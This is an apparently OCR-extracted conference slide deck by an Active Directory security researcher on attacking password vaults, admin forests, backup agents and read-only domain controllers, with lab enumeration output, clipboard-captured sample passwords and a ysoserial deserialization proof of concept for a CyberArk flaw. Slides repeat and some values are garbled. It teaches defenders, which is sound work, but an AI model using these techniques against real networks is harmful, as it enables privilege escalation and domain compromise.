<td>8/1/2018 2:46 AM</td>
<td>~TMP File</td>
</tr>
</tbody>
</table>

Get-ClipboardContents

=== Get-ClipboardContents Starting at 02/08/2018:04:13:36:85 ===

=== 02/08/2018:04:13:51:86 ===

Skywalker2018!

=== 02/08/2018:04:14:06:88 ===

OneWithTheForce2018!
Attacking Enterprise Password Vault

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Date modified</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Packages</td>
<td></td>
<td>7/6/2018 10:14 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>PerfLogs</td>
<td></td>
<td>6/19/2018 8:25 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files</td>
<td></td>
<td>7/31/2018 7:35 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files (x86)</td>
<td></td>
<td>9/29/2017 2:41 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>ProgramData</td>
<td></td>
<td>7/8/2018 8:53 PM</td>
<td>File folder</td>
</tr>
</tbody>
</table>

---

```
Get-ClipboardContents Starting at 02/08/2018:04:13:36:85
02/08/2018:04:13:51:86
Skywalker2018!
02/08/2018:04:14:06:88
OneWithTheForce2018!
```
function Get-TimedScreenshot
{
SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.

PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

DESCRIPTION
A function that takes screenshots and saves them to a folder.

PARAMETER Path
Specifies the folder path.
PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
Get-TimedScreenshot

Takes screenshots at a regular interval and saves them to disk.

PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscursec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

A function that takes screenshots and saves them to a folder.

.PARAMETER Path

Specifies the folder path.

.PARAMETER Interval

Specifies the interval in seconds between taking screenshots.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

- Password vault as the "jump" system to perform administration with no knowledge of account password.

Workstation  
Password Vault  
Admin Server
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

- Password vault as the "jump" system to perform administration with no knowledge of account password.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.

What account is used to log on here?

Workstation → HTTPS → Password Vault → RDP → Admin Server

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
**Enterprise Password Vault**

**Password Vault Option #2: RDP Proxy**

- Password vault as the "jump" system to perform administration with no knowledge of account password.

What account is used to log on here?

What account is used to log on here?

---

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

- Password vault as the "jump" system to perform administration with no knowledge of account password.

What account is used to log on here?
What account is used to log on here?
Is MFA used?
Who administers this server?

Workstation ➔ HTTPS ➔ Password Vault ➔ RDP ➔ Admin Server

Are network comms limited to the PV?

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Compromise the User’s Web Browser

Google

compromise password vault access through the browser

All
Videos
Shopping
Images
Maps
More

Settings
Tools

About 369,000 results (0.51 seconds)
Compromise the User’s Web Browser
Compromise the User’s Web Browser
# Exploit Password Vault Administration

```powershell
PS C:\> get-netgroup 'CyberArk Admins' | Get-NetGroupMember

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>WCruiser</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-3606</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Wesley Crusher,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>JoeUser</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1604</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Joe User,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>Eddie</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1601</td>
</tr>
</tbody>
</table>
```

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Password Vaults on the Internet

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Password Vaults on the Internet

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Password Vault Config Weaknesses

• Authentication to the PV webserver is typically performed with the admin’s user account.
• Connection to the PV webserver doesn’t always require MFA.
• The PV servers are often administered like any other server.
• Anyone on the network can send traffic to the PV server (usually).
• Sessions aren’t always limited creating an opportunity for an attacker to create a new session.
• Combining the PV web server & password management system increases risk.
• Vulnerability in PV can result in total Active Directory compromise.
CyberArk RCE Vulnerability (April 2018)

• CVE-2018-9843:
  “The REST API in CyberArk Password Vault Web Access before 9.9.5 and 10.x before
  10.1 allows remote attackers to execute arbitrary code via a serialized .NET object in an
  Authorization HTTP header.”

• Access to this API requires an authentication token in the HTTP authorization header
  which can be generated by calling the “Logon” API method.

• Token is a base64 encoded serialized .NET object
  ("CyberArk.Services.Web.SessionIdentifiers“) and consists of 4 string user session
  attributes.

• The integrity of the serialized data is not protected, so it’s possible to send arbitrary
  .NET objects to the API in the authorization header.

• By leveraging certain gadgets, such as the ones provided by ysoserial.net, attackers
  may execute arbitrary code in the context of the web application.


Sean Metcalf | @PyroTek3 | sean@adsecurity.org
CyberArk RCE Vulnerability


Proof of Concept

First, a malicious serialized .NET object is created. Here the "TypeConfuseDelegate" gadget of ysoserial.net is used to execute the "ping" command:

```
$ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 10.0.0.19" > execute-ping.txt
$ cat execute-ping.txt
```

Sean Metcalf | PyroTek3 | sean@adsecurity.org
What about Admin Forest?

(aka Red Forest)
Admin Forest = Enhanced Security Administrative Environment (ESAE)
Admin Forest Discovery Forest Discovery

PS C:\> Get-ADTrust -filter {Direction -eq 'Outbound'}

Direction: Outbound
DisallowTransitivity: False
DistinguishedName: CN=trd.priv,CN=System,DC=trimarcresearch,DC=com
ForestTransitive: True
IntraForest: False
IsTreeParent: False
IsTreeRoot: False
Name: trd.priv
ObjectClass: trustedDomain
ObjectGUID: 8c893b97-d52c-44f5-9ef6-c0d114791ded
SelectiveAuthentication: True
SIDFilteringForestAware: False
SIDFilteringQuarantined: False
Source: DC=trimarcresearch,DC=com
Target: trd.priv
TGTDelegation: False
TrustAttributes: 24
TrustedPolicy: 
TrustingPolicy: 
TrustType: Uplevel
UplevelOnly: False
UsesAESKeys: False
UsesRC4Encryption: False
Admin Forest Discovery Forest Discovery

```
PS C:\> Get-ADTrust -filter {Direction -eq 'Outbound'}

<table>
<thead>
<tr>
<th>Direction</th>
<th>Outbound</th>
</tr>
</thead>
<tbody>
<tr>
<td>DisallowTransivity</td>
<td>False</td>
</tr>
<tr>
<td>DistinguishedName</td>
<td>CN=trd.priv,CN=System,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>ForestTransitive</td>
<td>True</td>
</tr>
<tr>
<td>IntraForest</td>
<td>False</td>
</tr>
<tr>
<td>IsTreeParent</td>
<td>False</td>
</tr>
<tr>
<td>IsTreeRoot</td>
<td>False</td>
</tr>
<tr>
<td>Name</td>
<td>trd.priv</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>trustedDomain</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>8c893b97-d52c-44f5-9ef6-c0d114791ded</td>
</tr>
<tr>
<td>SelectiveAuthentication</td>
<td>True</td>
</tr>
<tr>
<td>SIDFilteringForestAware</td>
<td>False</td>
</tr>
<tr>
<td>SIDFilteringQuarantined</td>
<td>False</td>
</tr>
<tr>
<td>Source</td>
<td>DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Target</td>
<td>trd.priv</td>
</tr>
<tr>
<td>TGTDelegation</td>
<td>False</td>
</tr>
<tr>
<td>TrustAttributes</td>
<td>24</td>
</tr>
<tr>
<td>TrustedPolicy</td>
<td></td>
</tr>
<tr>
<td>TrustingPolicy</td>
<td></td>
</tr>
<tr>
<td>TrustType</td>
<td>Uplevel</td>
</tr>
<tr>
<td>UplevelOnly</td>
<td>False</td>
</tr>
<tr>
<td>UsesAESKeys</td>
<td>False</td>
</tr>
<tr>
<td>UsesRC4Encryption</td>
<td>False</td>
</tr>
</tbody>
</table>
```
Admin Forest Discovery

```powershell
PS C:\> Get-NetGroupMember -GroupName 'Administrators' | Where {$_..MemberDN -like '*Foreign*'}
WARNING: Error converting CN=S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcereasearch,DC=com
GroupDomain : trimarcereasearch.com
GroupName : Administrators
MemberDomain : 
MemberName : TRDPRIV\TRD AD Admins
MemberSID : S-1-5-21-1829685036-2228132301-246105558-1602
IsGroup : False
MemberDN : CN=S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcereasearch,DC=com
```
Admin Forest Discovery Forest Discovery

```
Get-NetGroupMember -GroupName 'Administrators' | Where {$_MemberDN -like '*Foreign*'}
```

```
GroupDomain      : trimarcresearch.com
GroupName        : Administrators
MemberDomain     :
MemberName       : TRDPRIV\TRD AD Admins
MemberSID        : S-1-5-21-1829685036-2228132301-246105558-1602
IsGroup          : False
MemberDN         : CN=S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcresearch,DC=com
```

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Admin Forest Discovery

PS C:\> Get-NetGroupMember -GroupName 'Administrators' | Where {$_._.MemberDN -like "*Foreign*"}
WARNING: Error converting CN=S-1-5-21-1829685036-2228132301-246105558-1602,CN=ForeignSecurityPrincipals,DC=trimarcresearch,DC=com

GroupDomain : trimarcresearch.com
GroupName : Administrators
MemberDomain :
MemberName : TRDPRI\TRD AD Admins
MemberSID : S-1-5-21-1829685036-2228132301-246105558-1602
IsGroup : True
MemberDN : CN=ForeignSecurityPrincipals,DC=trimarcresearch,DC=com
Exploiting Domain Controller Agents

PS C:\> Get-NetGroupMember 'Backup Operators'

GroupDomain : trimarcresearch.com
GroupName    : Backup Operators
MemberDomain : trimarcresearch.com
MemberName   : BACKUP01$
MemberSID    : S-1-5-21-3059099413-3826416028-81522354-19603
IsGroup      : False
MemberDN     : CN=Backup01,OU=Backup,OU=Servers,DC=trimarcresearch,DC=com

GroupDomain : trimarcresearch.com
GroupName    : Backup Operators
MemberDomain : trimarcresearch.com
MemberName   : BackupAD
MemberSID    : S-1-5-21-3059099413-3826416028-81522354-19602
IsGroup      : False
MemberDN     : CN=BackupAD,CN=Users,DC=trimarcresearch,DC=com
Exploiting Domain Controller Agents

```bash
PS C:\> Get-NetGroupMember 'Backup Operators'

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>Backup Operators</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>BACKUP01$</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-301-699415-3826416028-81522354-19603</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Backup01,OU=Backup,OU=Servers,DC=trimarcresresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>Backup Operators</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>BackupAD</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-301-699415-3826416028-81522354-19602</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=BackupAD,CN=Users,DC=trimarcresresearch,DC=com</td>
</tr>
</tbody>
</table>
```
Exploiting Domain Controller Agents

• Backup01 is a backup server with AD Backup rights.
• BackupAD is the AD backup service account.
Exploiting Domain Controller Agents

• Backup01 is a backup server with AD Backup rights.
• BackupAD is the AD backup service account.

Compromise one to gain Domain Controller access.
Did You Know?

• The Splunk Universal Forwarder is often installed on Domain Controller.
• The Splunk UF is effectively a mini version of Splunk and can run scripts.

The Deployment Server

Splunk’s configuration control system, can potentially run arbitrary commands on systems through scripted inputs.

This and a Universal Forwarder running as root/system can easily take over an environment

Exploiting Prod AD with an AD Admin Forest

- AD admin accounts are moved to the admin forest, but not everything.
- Doesn’t fix production AD issues.
- Doesn’t resolve expansive rights over workstations & servers.
- Deployments often ignore the primary production AD since all administrators of the AD forest are moved into the Admin Forest.
- They often don't fix all the issues in the production AD.
- They often ignore production AD service accounts.
- Agents on Domain Controllers are a target – who has admin access?
- Identify systems that connect to DCs with privileged credentials on DCs (backup accounts).
Cross-Forest Administration
Cross-Forest Administration

Forest A

Trust

Forest B
Cross-Forest Administration

Forest A

Trust

RDP

Forest B

Forest A Domain Admin Account

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Cross-Forest Administration

Forest A

Forest A Domain Admin Account

Trust

Forest B

RDP
Cross-Forest Administration

Forest A

Trust

RDP

Forest B

Forest A Domain Admin Account
Cross-Forest Administration

Forest A

Forest A Domain Admin Account

Trust

Forest B

RDP

Result:
Full Compromise of the Production Active Directory
Cross-Forest Administration

• Production (Forest A) <--one-way--trust---- External (Forest B)
• Production forest AD admins manage the External forest.
• External forest administration is done via RDP.
• Production forest admin creds end up on systems in the External forest.
• Attacker compromises External to compromise Production AD.

Mitigation:
• Manage External forest with External admin accounts.
• Use non-privileged Production forest accounts with External admin rights.
Attacking Read-Only Domain Controllers (RODCs)

“But it’s ‘read-only’!”
Discovering RODCs

PS C:\> Get-ADDomainController -filter ISReadOnly -eq $True

ComputerObjectDN : CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org
DefaultPartition  : DC=lab12,DC=adsecurity,DC=org
Domain             : lab12.adsecurity.org
Enabled            : True
Forest             : lab12.adsecurity.org
HostName           : ADSEC12RODC1.lab12.adsecurity.org
InvocationId       : fla72f5c-cbd3-47d3-affe-787800e9b92a
IPv4Address        : 10.16.23.21
IPv6Address        :
IsGlobalCatalog    : True
IsReadOnly         : True
LdapPort           : 389
Name               : ADSEC12RODC1
NTDSSettingsObjectDN: CN=NTDS Settings,CN=ADSEC12RODC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=lab12,DC=adsecurity,DC=org
OperatingSystem    : Windows Server 2012 R2 Datacenter
OperatingSystemHotfix:
OperatingSystemServicePack:
OperatingSystemVersion: 6.3 (9600)
OperationMasterVersion: {}
Partitions:
    {DC=ForestDnsZones,DC=lab12,DC=adsecurity,DC=org,
     DC=DomainDnsZones,DC=lab12,DC=adsecurity,DC=org,
     CN=Schema,CN=Configuration,DC=lab12,DC=adsecurity,DC=org,
     CN=Configuration,DC=lab12,DC=adsecurity,DC=org...}
ServerObjectDN     : CN=ADSEC12RODC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=lab12,DC=adsecurity,DC=org
ServerObjectGuid   : 6e1c8ddf1-709c-4904-933f-0422c2ba399d
Site               : Default-First-Site-Name
SslPort            : 636
# Discovering RODCs

```
PS C:\> get-adcomputer 'adsec12rodc1' -prop PrimaryGroup,PrimaryGroupID,TrustedToAuthForDelegation

<table>
<thead>
<tr>
<th>DistinguishedName</th>
<th>CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNSHostName</td>
<td>ADSEC12RODC1.lab12.adsecurity.org</td>
</tr>
<tr>
<td>Enabled</td>
<td>True</td>
</tr>
<tr>
<td>Name</td>
<td>ADSEC12RODC1</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>computer</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>2fc90837-f65e-4249-b535-189f56773ad3</td>
</tr>
<tr>
<td>PrimaryGroup</td>
<td>CN=Read-only Domain Controllers,CN=Users,DC=lab12,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>PrimaryGroupID</td>
<td>521</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>ADSEC12RODC1$</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-1105</td>
</tr>
<tr>
<td>TrustedToAuthForDelegation</td>
<td>True</td>
</tr>
<tr>
<td>UserPrincipalName</td>
<td></td>
</tr>
</tbody>
</table>
```
Discovering RODCs

```
PSTypeName : RootDSE
PS C:\> Get-ADComputer 'adsec12rodc1' -prop PrimaryGroup,PrimaryGroupID,TrustedToAuthForDelegation

<table>
<thead>
<tr>
<th>DistinguishedName</th>
<th>CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNSHostName</td>
<td>ADSEC12RODC1.lab12.adsecurity.org</td>
</tr>
<tr>
<td>Enabled</td>
<td>True</td>
</tr>
<tr>
<td>Name</td>
<td>ADSEC12RODC1</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>computer</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>2fc90837-f65e-4249-b535-189f56773ad3</td>
</tr>
<tr>
<td>PrimaryGroup</td>
<td>CN=Read-only Domain Controllers,CN=Users,DC=lab12,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>PrimaryGroupID</td>
<td>521</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>ADSEC12RODC1$</td>
</tr>
<tr>
<td>SID</td>
<td>S-1-5-21-1375489665-2563227798-2764545935-1105</td>
</tr>
<tr>
<td>TrustedToAuthForDelegation</td>
<td>True</td>
</tr>
<tr>
<td>UserPrincipalName</td>
<td></td>
</tr>
</tbody>
</table>
```
Typical RODC Deployment Issues

• RODCs cache more passwords than actually required.

• RODCs are typically administered by a “RODC admins” group which is not typically well protected.

• DSRM passwords may be set the same on DCs and RODCs.
Typical RODC Deployment Issues

• **RODCs cache more passwords than actually required**, providing a potential escalation path - compromise the RODC to compromise additional accounts. In this scenario, the RODC acts as kind of a Junior DC since it contains a subset of domain account passwords.

• **RODCs are typically administered by a “RODC admins” group which is not typically well protected**. Often the RODC admin group contains server administrators and potentially regular user accounts. The accounts in the RODC admin group(s) are often allowed to be cached on the RODC to enable administration if a DC cannot be contacted to authenticate them.

• **DSRM passwords may be set the same on DCs and RODCs.** If the organization has configured the Directory Services Restore Mode (DSRM) password to change (and they should), they may not have configured a different process for RODCs, potentially setting the same DSRM password on RODCs and DCs.
RODC Attributes

• **msDS-Reveal-OnDemandGroup**
  Contains the distinguished name (DN) of the Allowed List. Members of the Allowed List are permitted to replicate to the RODC.

• **msDS-NeverRevealGroup**
  Points to the distinguished names of security principals that are denied replication to the RODC.
RODC Attributes

• **msDS-RevealedList**
  List of security principals whose passwords have ever been replicated to the RODC.

• **msDS-AuthenticatedToAccountList**
  This attribute contains a list of security principals in the local domain that have authenticated to the RODC.
RODC Password Replication Policy

• Password Replication Policy controls what password data is replicated to RODCs.

• **Allowed RODC Password Replication Group**: Added to the msDS-Reveal-OnDemandGroup.

• **Denied RODC Password Replication Group**: Added to the msDS-NeverRevealGroup.

• Domain password data not placed on RODCs by default.
RODC Administrator Role Separation (ARS)

• RODC administration can be delegated.
• RODC administrator is not a Domain Admin.
• Full administrator on the RODC.
• Can modify SYSVOL, but RODC SYSVOL changes are not replicated.
• RODC administrators should be in the “Allowed RODC Password Replication Group”.

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
RODC Administration Configuration

Active Directory Domain Services Configuration Wizard

RODC Options

Deployment Configuration
Domain Controller Options
RODC Options
Additional Options
Paths
Review Options
Prerequisites Check
Installation
Results

Delegated administrator account

ADSECLAB12\RODC Admins

Accounts that are allowed to replicate passwords to the RODC

ADSECLAB12\Allowed RODC Password Replication Group

Accounts that are denied from replicating passwords to the RODC

BUILTIN\Administrators
BUILTIN\Server Operators
BUILTIN\Backup Operators

If the same account is both allowed and denied, denied takes precedence.
# RODC Administration Configuration

## ADSEC12RODC1 Properties

<table>
<thead>
<tr>
<th>General</th>
<th>Operating System</th>
<th>Member Of</th>
<th>Delegation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Password Replication Policy</td>
<td>Location</td>
<td>Managed By</td>
<td>Dial-in</td>
</tr>
</tbody>
</table>

**Name:** ab12.adsecurity.org/Groups/RODCAdmins

- **Change...**
- **Properties**
- **Clear**

The **selected group** can administer this RODC.

**Office:**

**Street:**

**City:**

**State/province:**
RODC Attributes

```powershell
import-module activedirectory
$ROCName = (get-addomaincontroller -filter {isreadonly -eq $true}).name
Get-ADComputer $ROCName -Property * | ` 
Select Name,ManagedBy,'msDS-AuthenticatedToAccountlist','msDS-NeverRevealGroup', ` 
'msDS-RevealedDSAs','msDS-RevealedUsers','msDS-RevealOnDemandGroup'
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedBy</td>
<td>CN=RODC Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>msDS-AuthenticatedToAccountlist</td>
<td>{CN=Han 30Y0,OU=Accounts,DC=lab12,DC=adsecurity,DC=org, CN=ADSEC12ADMIN1, CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org, CN=Controllers,DC=lab12,DC=adsecurity,DC=org...}</td>
</tr>
<tr>
<td>msDS-NeverRevealGroup</td>
<td>{CN=Denied RODC Password Replication Group,CN=Users,DC=lab12,DC=adsecurity,DC=org, CN=Server Operators,CN=Builtin,DC=lab12,DC=adsecurity,DC=org, CN=Server Operators,CN=Builtin,DC=lab12,DC=adsecurity,DC=org...}</td>
</tr>
<tr>
<td>msDS-RevealedDSAs</td>
<td>{CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org, CN=ADSEC12RODC1,OU=Domain Controllers,DC=lab12,DC=adsecurity,DC=org...}</td>
</tr>
<tr>
<td>msDS-RevealedUsers</td>
<td>{B:96:A00009000100000003E375310030000000B2D8290BE48E5C40A6ACCBA445C638B3DC6600B000000000000:CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org, B:96:7D0000000100000003E3753100303B2D8290BE48E5C40A6ACCBA445C638B3DC6600B000000000000:CN=ADSEC12ADMIN1,CN=Computers,DC=lab12,DC=adsecurity,DC=org...}</td>
</tr>
<tr>
<td>msDS-RevealOnDemandGroup</td>
<td>{CN=Allowed RODC Password Replication Group,CN=Users,DC=lab12,DC=adsecurity,DC=org, CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=lab12,DC=adsecurity,DC=org...}</td>
</tr>
</tbody>
</table>

Sean Metcalf | @PyroT3k3 | sean@adsecurity.org
Discovering RODC Admins

PS C:\> $RODData.ManagedBy
Get-ADGroupMember $RODData.ManagedBy
CN=RODC Admins,OU=Groups,DC=lab12,DC=adsecurity,DC=org

distinguishedName : CN=Rey,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
name : Rey
objectClass : user
objectGUID : 68ba085f-d44e-4da3-a5af-2b08d8e5699c
SamAccountName : Rey-admin
SID : S-1-5-21-1375489665-2563227798-2764545935-3103

distinguishedName : CN=Poe Dameron,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
name : Poe Dameron
objectClass : user
objectGUID : db40045f-c92e-47d4-8d60-45dc767199e0
SamAccountName : poedameron-admin
SID : S-1-5-21-1375489665-2563227798-2764545935-3104
## Discovering RODC Admins

```powershell
PS C:\> get-adgroupmember 'RODC Admins'

distinguishedName     : CN=Rey,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
name                   : Rey
objectClass           : user
objectGUID            : 68ba085f-d44e-4da3-a5af-2b08d8e5699c
SamAccountName        : Rey-admin
SID                    : S-1-5-21-1375489665-2563227798-2764545935-3103

distinguishedName     : CN=Poe Dameron,OU=Accounts,DC=lab12,DC=adsecurity,DC=org
name                   : Poe Dameron
objectClass           : user
objectGUID            : db40045f-c92e-47d4-8d60-45dc767199e0
SamAccountName        : poedameron-admin
SID                    : S-1-5-21-1375489665-2563227798-2764545935-3104
```
### Account Password Caching on RODCs

**Advanced Password Replication Policy for ADSEC12RODC1**

#### Policy Usage

**Display users and computers that meet the following criteria:**

Accounts whose passwords are stored on this Read-only Domain Controller

<table>
<thead>
<tr>
<th>Name</th>
<th>Domain Services Folder</th>
<th>Type</th>
<th>Password Last Changed</th>
<th>Password Expires</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSEC12ADMIN1</td>
<td>lab12.adsecurity.org/Computers/ADSEC12ADMIN1</td>
<td>Computer</td>
<td>12/26/2017 7:42:54 PM</td>
<td>Never Expires</td>
</tr>
<tr>
<td>ADSEC12RODC1</td>
<td>lab12.adsecurity.org/Computers/ADSEC12RODC1</td>
<td>Computer</td>
<td>12/26/2017 7:12:23 PM</td>
<td>Never Expires</td>
</tr>
<tr>
<td>Han Solo</td>
<td>lab12.adsecurity.org/Users/Han Solo</td>
<td>User</td>
<td>12/26/2017 8:04:55 PM</td>
<td>Never Expires</td>
</tr>
<tr>
<td>Poe Dameron</td>
<td>lab12.adsecurity.org/Users/Poe Dameron</td>
<td>User</td>
<td>12/28/2017 4:35:01 AM</td>
<td>2/8/2018 4:35:01 AM</td>
</tr>
</tbody>
</table>
## Account Password Caching on RODCs

**Prepopulate Passwords**

Do you wish to send the current passwords for these accounts to this read-only domain controller now?

<table>
<thead>
<tr>
<th>Account Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rey</td>
</tr>
</tbody>
</table>

Warning: If you are prepopulating the passwords of user accounts, be sure to prepopulate the passwords of computer accounts that these users will be using as well.

In order for a user to be able to log on to a read-only domain controller (RODC) when no writable domain controller is available, the passwords for both the user account and the computer account of the computer that the user is logging on to must already be stored on the RODC. Prepopulating the password for a user account on a RODC does not automatically store the password for the computer account of the same computer in the RODC. The user account password on the RODC is used to authenticate the user, but the computer account password is not used to authenticate the computer once the user logs on.
PS C:\> $RODCData.'msDS-RevealedUsers'
B:96:A000090002000000830B5510030000000B3F52CCF3D39E4A96CFB849D2DD03A2E70000
000000000000000000000000000000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:7D000900020000000830B5510030000000B3F52CCF3D39E4A96CFB849D2DD03A2E70000
000000000000000000000000000000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5E000900020000000830B5510030000000B3F52CCF3D39E4A96CFB849D2DD03A2E70000
000000000000000000000000000000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5A000900020000000830B5510030000000B3F52CCF3D39E4A96CFB849D2DD03A2E70000
000000000000000000000000000000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:37000900020000000830B5510030000000B3F52CCF3D39E4A96CFB849D2DD03A2E70000
000000000000000000000000000000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:A00009000200000005DB5510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:7D0009000200000005DB5510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5E0009000200000005DB5510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5A0009000200000005DB5510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:370009000200000005DB5510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:A0000900020000000750B551030000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:7D000900020000000750B551030000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5E000900020000000750B551030000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:5A000900020000000750B551030000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:37000900020000000750B551030000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:A0000900020000000067C3510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
B:96:7D000900020000000067C3510300000000C:OU=Accounts,DC=lab12,DC=adsecurity,DC=org
